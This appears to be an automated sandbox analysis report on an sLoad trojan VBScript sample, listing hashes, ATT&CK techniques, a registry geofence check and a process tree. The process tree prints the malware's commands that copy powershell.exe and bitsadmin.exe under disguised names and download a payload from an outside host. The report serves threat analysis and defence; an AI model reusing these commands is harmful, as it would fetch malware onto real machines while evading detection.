sload | 4508cbb75ae014ea3eb0f399340f4a03738889e4515a0e012f06d270f832f27a

Analysis

max time kernel
91s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
20-05-2022 15:28

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General

Target

FattDiffEmessa2020 00616840120.vbs
Size

4KB
MD5

df040acc717de01627876e0ee3fa86df
SHA1

de8d3e73eaa96d6dc3140b63808fd7fa316cdc08
SHA256

e96c29490b415926118a9342760a5060070e9dd415aee367cca7a0e5146a45fe
SHA512

9f563b9eea761dd6ef02db008a130ac207b2e610067489a29dac9f918cdda9ada9130e3b0e26aafb1653ded52f7080fbf2413fff3321c239db46b69839805db9

Score

10^/10

sload stealer trojan

Malware Config

Signatures

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload

Executes dropped EXE 1 IoCs

pid	Process
3168	uccBtRT.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 5068 wrote to memory of 4420	5068	WScript.exe	80
PID 5068 wrote to memory of 4420	5068	WScript.exe	80
PID 5068 wrote to memory of 4368	5068	WScript.exe	82
PID 5068 wrote to memory of 4368	5068	WScript.exe	82
PID 5068 wrote to memory of 3168	5068	WScript.exe	84
PID 5068 wrote to memory of 3168	5068	WScript.exe	84
PID 5068 wrote to memory of 3168	5068	WScript.exe	84

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FattDiffEmessa2020 00616840120.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\puccBtRT.exe
  2⤵
  PID:4420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\uccBtRT.exe
  2⤵
  PID:4368
- C:\Users\Admin\AppData\Roaming\uccBtRT.exe
  "C:\Users\Admin\AppData\Roaming\uccBtRT.exe" /transfer najtec /download https://nowyouknowent.com/werdona/00616840120/blank.css C:\Users\Admin\AppData\Roaming\blank.css
  2⤵
  - Executes dropped EXE
  PID:3168

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\uccBtRT.exe

Filesize
182KB

MD5
f57a03fa0e654b393bb078d1c60695f3

SHA1
1ced6636bd2462c0f1b64775e1981d22ae57af0b

SHA256
c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

SHA512
7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

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C:\Users\Admin\AppData\Roaming\uccBtRT.exe

Filesize
182KB

MD5
f57a03fa0e654b393bb078d1c60695f3

SHA1
1ced6636bd2462c0f1b64775e1981d22ae57af0b

SHA256
c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

SHA512
7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

Download Submit